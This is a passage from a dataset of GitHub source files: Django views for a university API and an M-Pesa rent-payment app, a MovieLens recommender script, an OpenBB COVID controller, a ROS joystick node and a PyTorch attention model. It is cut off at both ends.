request):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def put(self, request, pk):\n        univer = self.get_object(id=pk)\n        serializer = self.get_serializer(data=request.data, instance=univer)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def delete(self, request, pk):\n        univer = University.objects.get(id=pk)\n        univer.delete()\n        return Response({\"delete\": f\"University with pk = {pk} has been deleted successfully!\"}, status=status.HTTP_200_OK)\n\n\nclass FacultyView(GenericAPIView):\n    serializer_class = FacultySerializer\n\n    def get_object(self, *args, **kwargs):\n        try:\n            faculty = Faculty.objects.get(id=kwargs['pk'])\n        except Exception as e:\n            raise NotFound\n        return faculty\n\n    def get(self, request, pk=None):\n        if pk:\n            faculty = servise.get_faculty(fac_id=pk)\n            if faculty is None:\n                raise NotFound('Faculty not found')\n            return Response(faculty, status=status.HTTP_200_OK)\n        else:\n            faculties = servise.get_faculties()\n            return Response(faculties, status=status.HTTP_200_OK)\n\n    def post(self, request):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def put(self, request, pk):\n        faculty = self.get_object(id=pk)\n        serializer = self.get_serializer(data=request.data, instance=faculty)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def delete(self, request, pk):\n        faculty = Faculty.objects.get(id=pk)\n        faculty.delete()\n        return Response({'delete': f\"Faculty with pk = {pk} has been deleted successfully!\"}, status=status.HTTP_200_OK)\n\n\nclass ChairView(GenericAPIView):\n    serializer_class = ChairSerializer\n\n    def get_object(self, *args, **kwargs):\n        try:\n            chair = Chair.objects.get(id=kwargs['pk'])\n        except Exception as e:\n            raise NotFound\n        return chair\n\n    def get(self, request, pk=None):\n        if pk:\n            chair = servise.get_chair(car_id=pk)\n            if chair is None:\n                raise NotFound('Chair not found')\n            return Response(chair, status=status.HTTP_200_OK)\n        else:\n            chairs = servise.get_chairs()\n            return Response(chairs, status=status.HTTP_200_OK)\n\n    def post(self, request):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def put(self, request, pk):\n        chair = self.get_object(id=pk)\n        serializer = self.get_serializer(data=request.data, instance=chair)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def delete(self, request, pk):\n        chair = Chair.objects.get(id=pk)\n        chair.delete()\n        return Response({'delete': f\"Chair with pk = {pk} has been deleted successfully!\"}, status=status.HTTP_200_OK)\n\n\nclass GroupView(GenericAPIView):\n    serializer_class = GroupSerializer\n\n    def get_object(self, *args, **kwargs):\n        try:\n            group = Group.objects.get(id=kwargs['pk'])\n        except Exception as e:\n            raise NotFound(\"Group not found\")\n        return group\n\n    def get(self, request, pk=None):\n        if pk:\n            group = servise.get_group(group_id=pk)\n            if group is None:\n                raise NotFound('Group not found')\n            return Response(group, status=status.HTTP_200_OK)\n        else:\n            groups = servise.get_groups()\n            return Response(groups, status=status.HTTP_200_OK)\n\n    def post(self, request):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def put(self, request, pk):\n        group = self.get_object(id=pk)\n        serializer = self.get_serializer(data=request.data, instance=group)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def delete(self, request, pk):\n        group = Group.objects.get(id=pk)\n        group.delete()\n        return Response({'delete': f\"Group with pk = {pk} has been deleted successfully!\"}, status=status.HTTP_200_OK)\n\n\nclass TeacherView(GenericAPIView):\n    serializer_class = TeacherSerializer\n\n    def get_object(self, *args, **kwargs):\n        try:\n            teacher = Teacher.objects.get(id=kwargs['pk'])\n        except Exception as e:\n            raise NotFound\n        return teacher\n\n    def get(self, request, pk=None):\n        if pk:\n            teacher = servise.get_teacher(teach_id=pk)\n            if teacher is None:\n                raise NotFound\n            return Response(teacher, status=status.HTTP_200_OK)\n        else:\n            teachers = servise.get_teachers()\n            return Response(teachers, status=status.HTTP_200_OK)\n\n    def post(self, request):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def put(self, request, pk):\n        teacher = self.get_object(id=pk)\n        serializer = self.get_serializer(data=request.data, instance=teacher)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def delet(self, request, pk):\n        teacher = Teacher.objects.get(id=pk)\n        teacher.delete()\n        return Response({'delete': f\"Teacher with pk = {pk} has been deleted successfully!\"}, status=status.HTTP_200_OK)\n\n\nclass StudentView(GenericAPIView):\n    serializer_class = StudentSerializer\n\n    def get_object(self, *args, **kwargs):\n        try:\n            student = Student.objects.get(id=kwargs['pk'])\n        except Exception as e:\n            raise NotFound\n        return student\n\n    def get(self, request, pk=None):\n        if pk:\n            student = servise.get_student(std_id=pk)\n            if student is None:\n                raise NotFound('Student not found')\n            return Response(student, status=status.HTTP_200_OK)\n        else:\n            students = servise.get_students()\n            return Response(students, status=status.HTTP_200_OK)\n\n    def post(self, request):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def put(self, request, pk):\n        student = self.get_object(id=pk)\n        serializer = self.get_serializer(data=request.data, instance=student)\n        serializer.is_valid(raise_exception=True)\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n\n    def delete(self, request, pk):\n        student = Student.objects.get(id=pk)\n        student.delete()\n        return Response({'delete': f\"Student with pk = {pk} has been deleted successfully!\"}, status=status.HTTP_200_OK)\n","repo_name":"islombek-boboyorov/University-API","sub_path":"mysite/univer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31792863252","text":"#!/bin/env python\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport logging\nimport logging.config\nimport sys\n\nimport numpy as np\nimport numpy.ma as ma\n\nfrom recsys.algorithm.neighborhood_based_algorithm import (ItemBasedNeighborhoodAlgorithm,\n                                                           NeighborhoodBasedConfig,\n                                                           PredictorConfig,\n                                                           SimilarityConfig,\n                                                           UserBasedNeighborhoodAlgorithm)\nfrom recsys.algorithm.neighborhood_based_algorithm_regression_model import (ItemBasedRegressionModel,\n                                                                            RegressionModelNeighborhoodBasedConfig,\n                                                                            UserBasedRegressionModel)\nfrom recsys.dataset.dataset import MovieLenDataset\nfrom recsys.metric import metric\n\nlogging.config.fileConfig(\"conf/logging.conf\", disable_existing_loggers=False)\n\nlogger = logging.getLogger(\"main\")\n\nparser = argparse.ArgumentParser(description=\"movie len item-based algorithm\")\nparser.add_argument(\"--algo\", type=str, help=\"algorithm [user or item]\")\nparser.add_argument(\"--dataset\", type=str, default=\"data/ml-1m\", help=\"directory of movie len\")\nparser.add_argument(\"--sim\", type=str, default=\"person\", help=\"similaritor\")\nparser.add_argument(\"--predictor\", type=str, default=\"mean_center\", help=\"predictor\")\nparser.add_argument(\"--discounted_beta\", type=int, help=\"discounted beta for weight\")\nparser.add_argument(\"--amplify_alpha\", type=float, help=\"amplify alpha for similarity\")\nparser.add_argument(\"--sim_threshold\", type=float, help=\"similarity threshold\")\nparser.add_argument(\"--topk\", type=int, help=\"topk similarity to use\")\nparser.add_argument(\"--dims\", type=int, help=\"reduce dimensions\")\nparser.add_argument(\"--learn_rate\", type=float, default=0.001, help=\"learning rate about regression model\")\nparser.add_argument(\"--epochs\", type=int, default=10000, help=\"epochs about regression model\")\nparser.add_argument(\"--weight_decay\", type=float, default=0.001, help=\"weight decay or l2 regularization\")\nparser.add_argument(\"--check_gradient\", type=bool, default=False, help=\"check gradient in optimization\")\nparser.add_argument(\"--model_dir\", type=str, help=\"model directory to save and restore\")\n\n\nif __name__ == \"__main__\":\n    args = parser.parse_args()\n    logger.info(\"--------------------------------------------------\")\n    print(\"neighborhood args: {}\".format(args))\n    ml = MovieLenDataset(args.dataset)\n\n    if args.algo == \"user\":\n        algorithm = UserBasedNeighborhoodAlgorithm(NeighborhoodBasedConfig(sim_config=SimilarityConfig(name=args.sim, discounted_beta=args.discounted_beta, amplify_alpha=args.amplify_alpha, dims=args.dims), topk=args.topk, sim_threshold=args.sim_threshold, predictor_config=PredictorConfig(name=args.predictor)))\n    elif args.algo == \"item\":\n        algorithm = ItemBasedNeighborhoodAlgorithm(NeighborhoodBasedConfig(sim_config=SimilarityConfig(name=args.sim, discounted_beta=args.discounted_beta, amplify_alpha=args.amplify_alpha, dims=args.dims), topk=args.topk, sim_threshold=args.sim_threshold, predictor_config=PredictorConfig(name=args.predictor)))\n    elif args.algo == \"user_reg\":\n        algorithm = UserBasedRegressionModel(RegressionModelNeighborhoodBasedConfig(topk=args.topk, lr=args.learn_rate, epochs=args.epochs, wdecay=args.weight_decay, check_gradient=args.check_gradient, model_dir=args.model_dir))\n    elif args.algo == \"item_reg\":\n        algorithm = ItemBasedRegressionModel(RegressionModelNeighborhoodBasedConfig(topk=args.topk, lr=args.learn_rate, epochs=args.epochs, wdecay=args.weight_decay, check_gradient=args.check_gradient, model_dir=args.model_dir))\n    else:\n        print(\"[USAGE] algo must be in [user,item,user_reg,item_reg]\")\n        sys.exit(-1)\n\n    algorithm.fit(ml.R)\n    hat_rating = algorithm.predict(None)\n    rating = ma.masked_equal(ml.R, 0)\n\n    logger.debug(\"rating_count: {rating_count}\\tpredict_count:{predict_count}\\tpredict_rate:{predict_rate}\".format(**metric.statistic(rating, hat_rating)))\n    logger.info(\"|{}|{}|\".format(args, metric.rmse(rating[:, 0], hat_rating[:, 0])))\n","repo_name":"stupid-coder/recsys","sub_path":"bin/movie-len-neighborhood-based.py","file_name":"movie-len-neighborhood-based.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15718800447","text":"\"\"\"COVID Controller Module\"\"\"\n__docformat__ = \"numpy\"\n\nimport argparse\nimport logging\nimport pathlib\nfrom typing import List\n\nimport pandas as pd\nfrom prompt_toolkit.completion import NestedCompleter\n\nfrom openbb_terminal import feature_flags as obbff\nfrom openbb_terminal.alternative.covid import covid_view\nfrom openbb_terminal.decorators import log_start_end\nfrom openbb_terminal.helper_funcs import (\n    EXPORT_BOTH_RAW_DATA_AND_FIGURES,\n    EXPORT_ONLY_RAW_DATA_ALLOWED,\n    check_positive,\n    parse_known_args_and_warn,\n)\nfrom openbb_terminal.menu import session\nfrom openbb_terminal.parent_classes import BaseController\nfrom openbb_terminal.rich_config import console\n\nlogger = logging.getLogger(__name__)\n\ncountry_file = pathlib.Path(__file__).parent.joinpath(\"countries.txt\")\n\n\nclass CovidController(BaseController):\n    \"\"\"Covid Controller class\"\"\"\n\n    CHOICES_COMMANDS = [\"country\", \"ov\", \"deaths\", \"cases\", \"rates\", \"slopes\"]\n    PATH = \"/alternative/covid/\"\n\n    def __init__(self, queue: List[str] = None):\n        \"\"\"Constructor\"\"\"\n        super().__init__(queue)\n\n        self.country = \"US\"\n        self.COUNTRY_LIST = pd.read_csv(country_file, sep=\"\\n\", index_col=None)[\n            \"Countries\"\n        ].to_list()\n\n        if session and obbff.USE_PROMPT_TOOLKIT:\n            choices: dict = {c: {} for c in self.controller_choices}\n            choices[\"country\"] = {c: None for c in self.COUNTRY_LIST}\n            self.completer = NestedCompleter.from_nested_dict(choices)\n\n    def print_help(self):\n        \"\"\"Print help\"\"\"\n        help_text = f\"\"\"[cmds]\n        slopes      get countries with highest slope in cases\n        country     select country for data[/cmds]\n\n[param]Country: [/param]{self.country}[cmds]\n\n        ov          get overview (cases and deaths) for selected country\n        deaths      get deaths for selected country\n        cases       get cases for selected country\n        rates       get death/cases rate for selected country[/cmds]\n        \"\"\"\n        console.print(text=help_text, menu=\"Alternative - COVID\")\n\n    def custom_reset(self):\n        \"\"\"Class specific component of reset command\"\"\"\n        return [\"alternative\", \"covid\", f\"country {self.country}\"]\n\n    @log_start_end(log=logger)\n    def call_country(self, other_args: List[str]):\n        \"\"\"Process country command\"\"\"\n        parser = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n            prog=\"country\",\n            description=\"Select a country to look at data for.\",\n        )\n        parser.add_argument(\n            \"-c\",\n            \"--country\",\n            nargs=\"+\",\n            type=str,\n            dest=\"country\",\n            help=\"Country to get data for.\",\n        )\n        if other_args and \"-\" not in other_args[0][0]:\n            other_args.insert(0, \"-c\")\n        ns_parser = parse_known_args_and_warn(parser, other_args)\n        if ns_parser:\n            if ns_parser.country:\n                country = \" \".join(ns_parser.country)\n                if country not in self.COUNTRY_LIST:\n                    logger.error(\"%s not a valid selection\", country)\n                    console.print(f\"[red]{country} not a valid selection.[/red]\\n\")\n                    return\n                self.country = country\n                console.print(f\"[cyan]{country}[/cyan] loaded\\n\")\n            else:\n                logger.error(\"No country provided\")\n                console.print(\"[red]Please input a country.[/red]\\n\")\n\n    @log_start_end(log=logger)\n    def call_ov(self, other_args: List[str]):\n        \"\"\"Process hist command\"\"\"\n        parser = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n            prog=\"ov\",\n            description=\"Show historical cases and deaths by country.\",\n        )\n        ns_parser = parse_known_args_and_warn(\n            parser,\n            other_args,\n            export_allowed=EXPORT_BOTH_RAW_DATA_AND_FIGURES,\n            raw=True,\n            limit=10,\n        )\n        if ns_parser:\n            covid_view.display_covid_ov(\n                self.country,\n                raw=ns_parser.raw,\n                limit=ns_parser.limit,\n                export=ns_parser.export,\n            )\n\n    @log_start_end(log=logger)\n    def call_rates(self, other_args: List[str]):\n        \"\"\"Process hist command\"\"\"\n        parser = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n            prog=\"rates\",\n            description=\"Show historical death/cases rates for a country.\",\n        )\n        ns_parser = parse_known_args_and_warn(\n            parser,\n            other_args,\n            export_allowed=EXPORT_BOTH_RAW_DATA_AND_FIGURES,\n            raw=True,\n            limit=10,\n        )\n        if ns_parser:\n            covid_view.display_covid_stat(\n                self.country,\n                stat=\"rates\",\n                raw=ns_parser.raw,\n                limit=ns_parser.limit,\n                export=ns_parser.export,\n            )\n\n    @log_start_end(log=logger)\n    def call_deaths(self, other_args: List[str]):\n        \"\"\"Process deaths command\"\"\"\n        parser = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n            prog=\"deaths\",\n            description=\"Show historical deaths by country.\",\n        )\n        ns_parser = parse_known_args_and_warn(\n            parser,\n            other_args,\n            export_allowed=EXPORT_BOTH_RAW_DATA_AND_FIGURES,\n            raw=True,\n            limit=10,\n        )\n        if ns_parser:\n            covid_view.display_covid_stat(\n                self.country,\n                stat=\"deaths\",\n                raw=ns_parser.raw,\n                limit=ns_parser.limit,\n                export=ns_parser.export,\n            )\n\n    @log_start_end(log=logger)\n    def call_cases(self, other_args: List[str]):\n        \"\"\"Process cases command\"\"\"\n        parser = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n            prog=\"cases\",\n            description=\"Show historical cases for country.\",\n        )\n        ns_parser = parse_known_args_and_warn(\n            parser,\n            other_args,\n            export_allowed=EXPORT_BOTH_RAW_DATA_AND_FIGURES,\n            raw=True,\n            limit=10,\n        )\n        if ns_parser:\n            covid_view.display_covid_stat(\n                self.country,\n                stat=\"cases\",\n                raw=ns_parser.raw,\n                limit=ns_parser.limit,\n                export=ns_parser.export,\n            )\n\n    @log_start_end(log=logger)\n    def call_slopes(self, other_args: List[str]):\n        \"\"\"Process cases command\"\"\"\n        parser = argparse.ArgumentParser(\n            add_help=False,\n            formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n            prog=\"slopes\",\n            description=\"Show countries with highest slopes.\",\n        )\n        parser.add_argument(\n            \"-d\",\n            \"--days\",\n            type=check_positive,\n            help=\"Number of days back to look\",\n            dest=\"days\",\n            default=30,\n        )\n        parser.add_argument(\n            \"-a\",\n            \"--ascend\",\n            action=\"store_true\",\n            default=False,\n            help=\"Show in ascending order\",\n        )\n        parser.add_argument(\n            \"-t\",\n            \"--threshold\",\n            default=10000,\n            dest=\"threshold\",\n            help=\"Threshold for total cases over period\",\n            type=check_positive,\n        )\n        ns_parser = parse_known_args_and_warn(\n            parser, other_args, export_allowed=EXPORT_ONLY_RAW_DATA_ALLOWED, limit=10\n        )\n        if ns_parser:\n            covid_view.display_country_slopes(\n                days_back=ns_parser.days,\n                limit=ns_parser.limit,\n                ascend=ns_parser.ascend,\n                threshold=ns_parser.threshold,\n            )\n","repo_name":"rohankumardubey/OpenBBTerminal","sub_path":"openbb_terminal/alternative/covid/covid_controller.py","file_name":"covid_controller.py","file_ext":"py","file_size_in_byte":8142,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"16966643113","text":"#!/usr/bin/env python3\r\n\"\"\" ROS_joy_and_youBot.py \"\"\"\r\n\r\nimport rospy\r\nfrom geometry_msgs.msg import Twist\r\nfrom sensor_msgs.msg import Joy\r\n\r\n# This ROS Node converts Joystick inputs from the joy node\r\n# into commands for the youBot\r\n# Receives joystick messages (subscribed to Joy topic)\r\n# then converts the joysick inputs into Twist commands\r\n# axis 1 aka left stick vertical controls linear speed\r\n# axis 0 aka left stick horizonal controls angular speed\r\n\r\n\"\"\" Version Westfälische Hochschule - EMR 6.5.21 by OJ\r\nVoraussetzungen\r\n    $ sudo apt-get install ros-noetic-joy\r\nTesten welcher Joystick vorhanden ist. ( X=0, 1 oder 2)\r\n    $ sudo jstest /dev/input/jsX\r\n\r\nStarten\r\n    $1 roscore\r\n    $2 rosrun joy joy_node dev:=/dev/input/js0\r\n\r\nDer joy_node publish die Zustandsinformationen des Joysticks\r\nauf dem Topic /joy.\r\n    $3 rostopic echo /joy\r\n\"\"\"\r\n\r\n\r\ndef callback(data):\r\n    twist = Twist()\r\n    twist.linear.x = 4 * data.axes[1]\r\n    twist.angular.z = 4 * data.axes[0]\r\n    pub.publish(twist)\r\n\r\n\r\ndef start():  # Intializes everything\r\n    # publishing to \"/cmd_vel\" to control robot\r\n    global pub\r\n    pub = rospy.Publisher('/cmd_vel', Twist, queue_size=10)\r\n\r\n    # subscribed to joystick inputs on topic \"joy\"\r\n    rospy.Subscriber(\"/joy\", Joy, callback)\r\n\r\n    # starts the node\r\n    rospy.init_node('Joy2youBot')\r\n    rospy.spin()\r\n\r\n\r\nif __name__ == '__main__':\r\n    start()\r\n","repo_name":"ProfJust/emr","sub_path":"whs_turtlesim/src/ROS_joy_and_youBot.py","file_name":"ROS_joy_and_youBot.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17186997154","text":"from django.shortcuts import render, redirect,get_object_or_404\nfrom django.http  import HttpResponse, HttpResponseRedirect, Http404\nimport datetime as dt\nfrom .models import *\nfrom .forms import CreateUserForm, UploadPicForm, CreateBuildingForm,CreateHouseForm\nfrom django_daraja.mpesa.core import MpesaClient\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth import get_user_model\nfrom django.core.mail import EmailMessage\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom .email import send_welcome_email, send_payment_email\nimport json\n\nUser = get_user_model()\n# Create your views here.\n\n@login_required(login_url='/accounts/login')\ndef home(request):\n     user_type = get_object_or_404(User,pk=request.user.id)\n     try:\n          landlord= request.user.landlord\n          buildings=landlord.buildings.all()\n          return render(request, 'home.html',{\"buildings\":buildings})\n\n     except Landlord.DoesNotExist:           \n          user=request.user\n          try:\n               tenant=Tenant.objects.get(user=user)\n               return render(request, 'pay.html',{'user':user} )\n          except Tenant.DoesNotExist:\n               return HttpResponse(\"You must be a Landlord or Tenant to access this page\")\n\n\n     except Exception as e:\n          print(e)\n          return \"You must be a Landlord or Tenant to access this page\"\n\n          \n@login_required(login_url='/accounts/login')\ndef pay_with_mpesa(request):\n     cl = MpesaClient()\n     tenant=request.user.tenant\n     phone_number = tenant.phone_number\n     rent=request.user.tenant.house_name.rent\n     if rent and type(rent)==int:\n          amount = rent\n     account_reference = 'reference'\n     transaction_desc = 'Description'\n     callback_url = 'https://m-agent.herokuapp.com/magent_callback'\n     response = cl.stk_push(phone_number, amount, account_reference, transaction_desc, callback_url)\n     print(response.text)\n     return redirect('home')\n\n\n@login_required(login_url='/accounts/login')\ndef welcome_email(request):\n     tenant=request.user.tenant\n     email= tenant.email\n     name=tenant.first_name\n\n@csrf_exempt\ndef stk_push_callback(request):\n     try:\n          data = request.body\n          print(\"wacha ufala\")\n          json_data=json.loads(data.decode())\n          # print(json_data)\n          if json_data[\"Body\"][\"stkCallback\"][\"ResultCode\"]==0:\n               phone=json_data[\"Body\"][\"stkCallback\"][\"CallbackMetadata\"][\"Item\"][4][\"Value\"]\n               amount=json_data[\"Body\"][\"stkCallback\"][\"CallbackMetadata\"][\"Item\"][0][\"Value\"]\n               short_code=json_data[\"Body\"][\"stkCallback\"][\"CallbackMetadata\"][\"Item\"][1][\"Value\"]\n               time=json_data[\"Body\"][\"stkCallback\"][\"CallbackMetadata\"][\"Item\"][3][\"Value\"]\n               print(phone,amount,short_code)\n               phone_number=str(phone).replace(\"254\",\"0\")\n               print(phone_number)\n               tenant=Tenant.objects.get(phone_number=phone_number)\n               transaction=Transactions(tenant=tenant,amount=amount,short_code=short_code)\n               transaction.house=tenant.house_name\n               transaction.meta=data.decode()\n               transaction.save()\n               send_payment_email(tenant,transaction)\n          else:\n               error=json_data[\"Body\"][\"stkCallback\"][\"ResultDesc\"]\n               print(error)\n\n     except Tenant.DoesNotExist:\n          print(\"Tenant does not exist\")\n\n     except Exception as e:\n          print(e)\n\n     return HttpResponse(\"success\")\n\ndef create_user(request,house_id):\n     form=CreateUserForm()\n     error=False\n     house=get_object_or_404(House,id=int(house_id))\n     if request.method == 'POST':\n          form=CreateUserForm(request.POST,request.FILES)\n          \n          if form.is_valid():\n               print(\"valid\")\n               if Tenant.objects.filter(email=form.cleaned_data[\"email\"] or User.objects.filter(username=form.cleaned_data[\"email\"])):\n                    error=\"User with email already exists\"\n               if Tenant.objects.filter(phone_number=form.cleaned_data['phone_number']).first():\n                    error=\"User with this Phone Number already exists\"\n               user=User(username=form.cleaned_data[\"email\"])\n               \n\n               user.save()\n\n               tenant=form.save(commit=False)\n               house.vacant= False\n               tenant.house_name=house\n               # tenant.my_house=house\n               tenant.user=user\n               house.save()\n               tenant.save()\n               \n               otp=tenant.generate_otp_password()\n               pin=tenant.create_pin()    \n               url=request.build_absolute_uri(\"/accounts/login\")\n               tenant=user.tenant\n               email = tenant.email\n               name = tenant.first_name\n               send_welcome_email(name,email,tenant,pin,otp,url)\n              \n\n\n               if error==False:\n                    return redirect('home')\n          else:\n               house.vacant= True\n               print(form.errors)\n     return render(request, \"registration.html\",{\"form\":form,\"error\":error,\"house_id\":house_id})   \n\n\n\ndef user_profile(request,id):\n     user=User.user_profile(id=id)\n     return render(request,'user_profile.html',{\"user\":user})\n\n\ndef edit_user(request,id):\n     form=UploadPicForm\n     user=User.user_profile(id=id)\n     if request.method == 'POST':\n          form=UploadPicForm(request.POST)\n          if form.is_valid():\n               user = form.save()\n               return redirect('view_tenant')\n     return render(request,'edit_user.html',{\"user\":user})\n\n\ndef create_building(request):\n     form=CreateBuildingForm()\n     error=False\n     land= get_object_or_404(Landlord,user=request.user.id)\n     if request.method == 'POST':\n          form=CreateBuildingForm(request.POST)\n          if form.is_valid():\n               if Building.objects.filter(building_name=form.cleaned_data['building_name']).first():\n                    error=\"Building with similar name already exists\"\n               else:\n                    building = form.save(commit=False)\n                    building.owner=get_object_or_404(Landlord,user=request.user)\n                    building.save()\n                    return redirect('home')\n     return render(request, \"building_reg.html\",{\"form\":form,\"error\":error})\n\n     # def form_valid(self, form):\n     #    form.instance.owner = self.request.user\n     #    return super().form_valid(form)\n\ndef create_house(request):\n     error=False\n     landlord=request.user.landlord\n     form=CreateHouseForm(landlord=landlord)\n     if request.method == 'POST':\n          form=CreateHouseForm(request.POST,landlord=landlord)\n          if form.is_valid():\n               print(form.cleaned_data['building'])\n               if House.objects.filter(name=form.cleaned_data['name'],building=form.cleaned_data['building']).first():\n                    error=\"Building with similar name already exists\"\n               else:\n                    house = form.save()\n                    return redirect('home')\n     return render(request, \"house_reg.html\",{\"form\":form,\"error\":error})\n\n@login_required(login_url='/accounts/login')\ndef view_houses(request, building_name):\n     try:\n        this_building = Building.objects.get(building_name=building_name)\n     except Building.DoesNotExist:\n        raise Http404(\"Invalid Building Name\")\n     this_house = House.objects.filter( building=this_building)\n     return render(request, 'users.html',{'this_house':this_house,'this_building':this_building})\n\n\n@login_required(login_url='/accounts/login')\ndef view_tenant(request, house_id):\n     # try:\n     house=House.objects.get(id=house_id)\n     tenant=house.occupant\n     if not tenant:\n          return Http404(\"This house is vacant\")             \n     return render(request, 'user_profile.html',{\"tenant\":tenant} )\n     # except Exception e:\n     #      return HttpResponse(\"Error occured\")\n\n","repo_name":"Vohsty/M-agent","sub_path":"agent/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25456054300","text":"\nimport torch\nfrom models import resnetMod \nimport torch.nn as nn\nfrom torch.nn import functional as F\nfrom torch.autograd import Variable\nfrom models.MyConvLSTMCell import *\nimport torchvision\n\nclass attentionModel(nn.Module):\n    def __init__(self,dropout=0.0, num_classes=61, mem_size=512, arch='resnet34',GPU=0):\n        super(attentionModel, self).__init__()\n#        device = torch.device(\"cuda:\"+ str(GPU)) if torch.cuda.is_available() else 'cpu'\n        self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n        self.num_classes = num_classes\n        if arch=='resnet34':\n            self.resNet = resnetMod.resnet34(pretrained=True, noBN=True, GPU = GPU)\n            self.lstm_cell = MyConvLSTMCell(512, mem_size) #works for resnet34\n        elif arch=='densenet161':\n            self.resNet = resnetMod.densenet161(pretrained=True, noBN=False, GPU = GPU)\n            self.lstm_cell = MyConvLSTMCell(2208, mem_size) #works for densenet161\n        elif arch=='senet154':\n            self.resNet = resnetMod.senet154(pretrained=True, noBN=False, GPU = GPU)\n            self.lstm_cell = MyConvLSTMCell(2048, mem_size) #works for senet154\n\n        self.mem_size = mem_size\n        self.weight_softmax = self.resNet.fc.weight\n        self.avgpool = nn.AvgPool2d(7)\n        self.dropout = nn.Dropout(dropout)\n        self.fc = nn.Linear(mem_size, self.num_classes)\n        self.classifier = nn.Sequential(self.dropout, self.fc)\n\n    def forward(self, inputVariable,mean_model=None):\n        state = (Variable(torch.zeros((inputVariable.size(1), self.mem_size, 7, 7)).to(self.device)),\n                 Variable(torch.zeros((inputVariable.size(1), self.mem_size, 7, 7)).to(self.device)))\n        if mean_model is not None:\n            attention_map_list = mean_model.get_attention_map(inputVariable)\n\n        for t in range(inputVariable.size(0)):\n            #print inputVariable[t].size()\n\n            inputVariable2 = inputVariable[t]\n            logit, feature_conv, feature_convNBN = self.resNet(inputVariable2)\n            bz, nc, h, w = feature_conv.size()\n            feature_conv1 = feature_conv.view(bz, nc, h*w)\n            probs, idxs = logit.sort(1, True)\n            class_idx = idxs[:, 0]\n            #print(\"weight_softmax dim \",feature_conv1.size())\n            #print(\"weight_softmax dim \",self.weight_softmax.size())\n\n            cam = torch.bmm(self.weight_softmax[class_idx].unsqueeze(1), feature_conv1)\n            if mean_model is not None:\n                attentionMAP = attention_map_list[t]\n            else:\n                attentionMAP = F.softmax(cam.squeeze(1), dim=1)\n            attentionMAP = attentionMAP.view(attentionMAP.size(0), 1, 7, 7)\n            attentionFeat = feature_convNBN * attentionMAP.expand_as(feature_conv)\n            state = self.lstm_cell(attentionFeat, state)\n        feats1 = self.avgpool(state[1]).view(state[1].size(0), -1)\n        feats = self.classifier(feats1)\n        \n#        return feats, feats1\n        return feats\n\n\n    def get_attention_map(self, inputVariable):\n        attention_map_list = []\n        for t in range(inputVariable.size(0)):\n            if self.DecoFlag:\n                inputVariable2 = self.DECO(inputVariable[t])\n            else:\n                inputVariable2 = inputVariable[t]\n            logit, feature_conv, feature_convNBN = self.resNet(inputVariable2)\n            bz, nc, h, w = feature_conv.size()\n            feature_conv1 = feature_conv.view(bz, nc, h*w)\n            probs, idxs = logit.sort(1, True)\n            class_idx = idxs[:, 0]\n            #print(\"weight_softmax dim \",feature_conv1.size())\n            #print(\"weight_softmax dim \",self.weight_softmax.size())\n\n            cam = torch.bmm(self.weight_softmax[class_idx].unsqueeze(1), feature_conv1)\n            attentionMAP = F.softmax(cam.squeeze(1), dim=1)\n            attention_map_list.append(attentionMAP)        \n        return 